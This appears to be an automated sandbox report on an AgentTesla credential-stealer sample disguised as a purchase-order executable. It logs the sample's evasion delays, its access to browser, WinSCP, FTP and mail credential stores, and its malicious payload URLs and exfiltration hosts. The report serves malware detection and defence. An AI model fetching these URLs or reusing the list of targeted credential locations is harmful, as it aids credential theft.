Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_004059CC
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Code function: 4_2_004065FD FindFirstFileW,FindClose,	4_2_004065FD

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597702	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 597227	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596964	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596202	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595546	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595217	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 595101	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594870	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594546	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594427	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Thread delayed: delay time: 594296	Jump to behavior

Source: PO 0309494059506060609696007.exe, 00000004.00000002.2965947526.0000000002B2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: PO 0309494059506060609696007.exe, 00000004.00000002.2965947526.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	API call chain: ExitProcess graph end node			graph_0-4275
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	API call chain: ExitProcess graph end node			graph_0-4429

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Code function: 0_2_6E421B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6E421B5F

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Process created: C:\Users\user\Desktop\PO 0309494059506060609696007.exe "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Queries volume information: C:\Users\user\Desktop\PO 0309494059506060609696007.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040338F

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000004.00000002.2985734284.00000000332AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2985734284.0000000033281000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 0309494059506060609696007.exe PID: 2128, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\PO 0309494059506060609696007.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000004.00000002.2985734284.0000000033281000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 0309494059506060609696007.exe PID: 2128, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000004.00000002.2985734284.00000000332AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2985734284.0000000033281000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 0309494059506060609696007.exe PID: 2128, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	226 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	2 Obfuscated Files or Information	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO 0309494059506060609696007.exe	3%	ReversingLabs
PO 0309494059506060609696007.exe	10%	Virustotal		Browse
PO 0309494059506060609696007.exe	100%	Avira	HEUR/AGEN.1331786

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nst14AC.tmp\LangDLL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://84.38.133.48/LSOzHkHtJlArws124.bin	100%	Avira URL Cloud	malware
http://84.38.133.48/LSOzHkHtJlArws124.bin.#	100%	Avira URL Cloud	malware
http://ftp.concaribe.com	100%	Avira URL Cloud	malware
http://concaribe.com	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api.ipify.org	104.26.12.205	true	false	high
concaribe.com	192.185.13.234	true	true	unknown
ftp.concaribe.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://84.38.133.48/LSOzHkHtJlArws124.bin	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://84.38.133.48/LSOzHkHtJlArws124.bin.#	PO 0309494059506060609696007.exe, 00000004.00000002.2965947526.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.ipify.org	PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.0000000033231000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ftp.concaribe.com	PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.00000000332AC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nsis.sf.net/NSIS_ErrorError	PO 0309494059506060609696007.exe	false		high
http://concaribe.com	PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.00000000332AC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.ipify.org/t	PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.0000000033231000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PO 0309494059506060609696007.exe, 00000004.00000002.2985734284.0000000033231000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
84.38.133.48	unknown	Latvia	203557	DATACLUB-NL	false
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
192.185.13.234	concaribe.com	United States	46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577289
Start date and time:	2024-12-18 11:05:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO 0309494059506060609696007.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/10@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 154 Number of non-executed functions: 69
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:07:31	API Interceptor	633x Sleep call for process: PO 0309494059506060609696007.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
84.38.133.48	Shipping documents.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.133.48/TeoRHdGgbvsSqoRyBIQpbDk31.bin
104.26.12.205	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
192.185.13.234	draft bl_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	concaribe.com/wp-includes/assets/GkRyQpLAQhPD144.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	winws1.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	PO.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	rDOC24INV0616.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://cavotec-au.sharefile.com/public/share/web-1271a93971714a91	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	PqCznDthHP.exe	Get hash	malicious	Edge Stealer	Browse	104.26.13.205
	https://www.canva.com/design/DAGZLdpMEGI/O58JBUDFuRvFcdZ0tgIwgA/edit?utm_content=DAGZLdpMEGI&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	duschno.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DATACLUB-NL	PO.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.133.133
	ODjwCjQBAP.exe	Get hash	malicious	GuLoader	Browse	84.38.129.16
	ODjwCjQBAP.exe	Get hash	malicious	GuLoader	Browse	84.38.129.16
	Shipping documents.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.133.48
	u9aPQQIwhj.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.133.42
	Shipping documents 000293994900.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.133.42
	QUOTE #46789_AL_JAMEELA24.exe	Get hash	malicious	Remcos, GuLoader	Browse	84.38.133.160
	Purchase Order.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	84.38.129.16
	Documenti di spedizione.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.129.16
	PO-94858.exe	Get hash	malicious	Snake Keylogger	Browse	185.29.11.116
CLOUDFLARENETUS	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	172.64.41.3
	https://2024sharepointonline.z28.web.core.windows.net/	Get hash	malicious	Unknown	Browse	104.16.20.118
	https://cc.naver.com/cc?a=pst.link&m=1&nsc=Mblog.post&u=https://prestamosgarantizados.com/wvr/#svk8Lh6vLh6njx3lLh6vg4Pnq07qug4Plvk8Lh6rjx3z9BR15WPy	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	EXTERNALRe.msg	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://efaktura.dhlecommerce.pl	Get hash	malicious	Unknown	Browse	104.18.86.42
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	104.16.123.96
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
UNIFIEDLAYER-AS-1US	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	166.63.22.4
	https://ivsmn.kidsavancados.com/	Get hash	malicious	Unknown	Browse	108.167.188.184
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	50.87.144.157
	PO.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	192.185.13.234
	https://www.sendspace.com/pro/dl/m2hhc1	Get hash	malicious	Unknown	Browse	162.241.149.91
	https://www.sendspace.com/pro/dl/m2hhc1	Get hash	malicious	Unknown	Browse	162.241.149.91
	rDOC24INV0616.exe	Get hash	malicious	AgentTesla	Browse	192.254.186.165
	x86.elf	Get hash	malicious	Mirai	Browse	192.163.243.124
	https://cavotec-au.sharefile.com/public/share/web-1271a93971714a91	Get hash	malicious	HTMLPhisher	Browse	192.185.150.180
	1.elf	Get hash	malicious	Unknown	Browse	74.91.233.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	104.26.12.205
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.26.12.205
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	104.26.12.205
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	104.26.12.205
	jhsdfggga13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	104.26.12.205
	Garsdgwqa13de.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	104.26.12.205
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	104.26.12.205
	twjMb9cX64.exe	Get hash	malicious	Sliver	Browse	104.26.12.205
	WOlxr4yjgF.exe	Get hash	malicious	Sliver	Browse	104.26.12.205
	credit.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	104.26.12.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nst14AC.tmp\LangDLL.dll	kJs0JTLO6I.exe	Get hash	malicious	Metasploit	Browse
	kJs0JTLO6I.exe	Get hash	malicious	Metasploit	Browse
	B7zKt98iey.exe	Get hash	malicious	Unknown	Browse
	B7zKt98iey.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse
	http://mirror.cdex.mu/CDex-2.24.exe	Get hash	malicious	Unknown	Browse
	http://mirror.cdex.mu/CDex-2.24.exe	Get hash	malicious	Unknown	Browse
	ROM_Files_939964.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nst14AC.tmp\LangDLL.dll

Download File

Process:	C:\Users\user\Desktop\PO 0309494059506060609696007.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	3.818015063694808
Encrypted:	false
SSDEEP:	48:S46+/zTKYKxbWsptIpBtWZ0iV8jAWiAJCvxft2O2B8mxofjLl:z5uPbOBtWZBV8jAWiAJCdv2CmAL
MD5:	AB1DB56369412FE8476FEFFFD11E4CC0
SHA1:	DAAD036A83B2EE2FA86D840A34A341100552E723
SHA-256:	6F14C8F01F50A30743DAC68C5AC813451463DFB427EB4E35FCDFE2410E1A913B
SHA-512:	8D886643B4FC24ADF78F76B663227D6E61863F89E0CBD49548F40DD040666CA94EA46BEC9E336850E4F300995D56E6DC85B689C8E09FF46758822D280F06B03D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: kJs0JTLO6I.exe, Detection: malicious, Browse Filename: kJs0JTLO6I.exe, Detection: malicious, Browse Filename: B7zKt98iey.exe, Detection: malicious, Browse Filename: B7zKt98iey.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: ROM_Files_939964.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................>..........:..........Rich..........................PE..L....~.\...........!........."......?........ ...............................p............@.........................`"..I...\ ..P....P..`....................`....................................................... ..\............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...`....P......................@..@.reloc..`....`......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll

Download File

